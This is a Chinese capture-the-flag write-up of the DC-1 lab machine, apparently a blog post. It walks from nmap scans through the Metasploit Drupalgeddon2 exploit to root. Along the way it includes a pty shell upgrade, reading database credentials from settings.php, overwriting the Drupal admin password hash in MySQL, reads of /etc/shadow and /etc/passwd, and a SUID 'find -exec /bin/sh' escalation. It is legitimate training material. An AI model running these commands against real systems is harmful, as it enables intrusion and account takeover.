靶场之DC-1

环境:

靶机名称:DC-1

攻击机:kali 192.168.78.135

1. 打开虚拟机

  • 选择打开,选择.ovf后缀
  • 开启虚拟机

image-20210726104918410

2. 信息收集

2.1 nmap扫描存活主机确定DC-1的ip地址
nmap -sP 192.168.78.0/24

image-20210726105117818

  • IP为192.168.78.129
2.2 利用namp扫描DC-1开放的端口
nmap -sV -A 192.168.78.129
-sV 探测服务的版本

image-20210726110027405

  • 发现22、80、111端口是开放的,并且可以看到版本信息
2.3 访问80端口

image-20210726110253817

  • Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成

  • 得到网站框架后,确定框架版本,在查找是否有此版本的漏洞

2.4 寻找Drupal版本信息(多种办法)
  1. 利用火狐的wappalyzer工具,版本为7.x

image-20210726111058914

  1. 利用nmap扫描的-sV参数,如上文得版本为7.x

  2. 利用目录扫描,首先查看一下robots.txt

    image-20210726111924348

    访问UPGRADE.txt
    image-20210726112022783

2.5 寻找此版本Drupal的漏洞
  • 利用msf 搜索漏洞
search durpal

image-20210726114853832

2.6 使用漏扫工具OpenVas

image-20210726140115981

  • 发现两个可以利用的漏洞

3. 漏洞利用(CVE-2018-7600)

use exploit/unix/webapp/drupal_drupalgeddon2
show options //查看参数信息

image-20210726115108159

设置IP
set RHOSTS 192.168.78.129

image-20210726140647027

exploit
//成功进入

image-20210726140729264

image-20210726140240516

3.1 寻找flag1
  • 利用成功后,先使用命令pwd,查看一下当前所在文件位置

image-20210726141317951

  • 列出所有文件
ls

image-20210726141351077

cat flag1.txt

image-20210726142230446

  • 提示需要去找drupal的配置文件
3.2 寻找flag2
  • 百度drupal默认配置文件的位置在 sites/default/settings.php
cd sites/default
cat settings.php

image-20210726143106847

  • 找到flag2

  • 此处提示不能使用暴力破解

3.3 寻找flag3
  • 根据上面的settings.php看到数据库信息

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yR4UHWlB-1627289234516)(DC-1.assets/image-20210726143431544.png)]

  • 有数据库登录的用户名和密码信息

  • 尝试连接数据库寻找apache登录界面的用户名和密码;由于连接mysql需要进入交互式shell,已知pyton版本

image-20210726144023962

shell
python -c  "import pty; pty.spawn('/bin/bash')" //或者
python3 -c  "import pty; pty.spawn('/bin/bash')" 

image-20210726144142974

  • 成功进入
  • 连接数据库
mysql -udbuser -pR0ck3t

image-20210726144436412

  • 查看所有数据库
show databases;

image-20210726144738668

  • 查看所有表,找到users表
use drupaldb
show tables;

image-20210726144846054

  • 查看users表的字段,看到name和pass字段
desc users;

image-20210726145111472

  • 查询这两个字段
select name,pass from users;

image-20210726145215682

  • 得到用户名和密码

  • 不能使用暴力破解,尝试更新密码

    在使用update users set pass='123456' where name="admin",更新成功但是登录失败;看到原本是加密后的,尝试寻找Drupal对数据库的加密方法,更新密码为一个加密过后的已知密码;在drupal的官网上找到了druple的加密脚本位置./script/password-hash.sh,直接使用这个脚本进行加密。

cd /var/www/scripts
ls

image-20210726150800629

image-20210726150911361

php scripts/password-hash.sh 123456
//尝试多次命令,根据提示错误信息更正,最终得到123456的密文
$S$Daa/xJWcYSNNGN2NFyPCPAn5E8sWSdiPHtAh9BTdEBIPfmg1a.GB

image-20210726150933657

  • 重新进入数据库,更新admin的密码
update users set pass='$S$Daa/xJWcYSNNGN2NFyPCPAn5E8sWSdiPHtAh9BTdEBIPfmg1a.GB' where name = "admin";
  • 在浏览器登录页面输入用户名:admin,密码:123456;成功登录

image-20210726151635367
image-20210726151742280

  • 得到提示:Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow;
3.4 寻找flag4
  • 根据flag3的提示,shadow,尝试查看/etc/shadow
cat /etc/shadow
//提示权限不足

image-20210726152435616

  • 尝试查看一下 /etc/passwd
cat /etc/passwd

image-20210726152600853

  • 找到flag4用户,进入家目录看看有什么提示信息
cd /home/flag4
ls

image-20210726152756837

  • 查看一下flag4.txt
cat flag4.txt

image-20210726152917026

  • 提示在根目录下找访问标志
3.5 寻找flag5
  • 根据上面提示我们需要进入root用户的家目录寻找最后一个flag;那么如何提权至root用户?
  • 根据flag3的提示 find perm -exec,我们尝试使用find命令进行提权
find / -perm -4000
//找suid的程序

补充

suid:在默认情况下,用户发起一个进程,该进程的属主是发起者,而并非是文件的属主,此时进程是以发起者的身份去运行。如果给二进制程序文件添加了SUID权限后,用户发起一个进程,该进程的属主为程序文件所属的属主,而并非是发起者。

image-20210726155059162

  • 发现find命令有suid权限,进行其利用提权
find ./ aaa -exec '/bin/sh' \;

image-20210726162940707

  • 进入root的家目录
cd /root
ls
cat thefinalflag.txt

image-20210726163422193

补充:OpenVas中的CVE-2014-3704也可以做

  • 在msf模块中利用这个漏洞即可
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值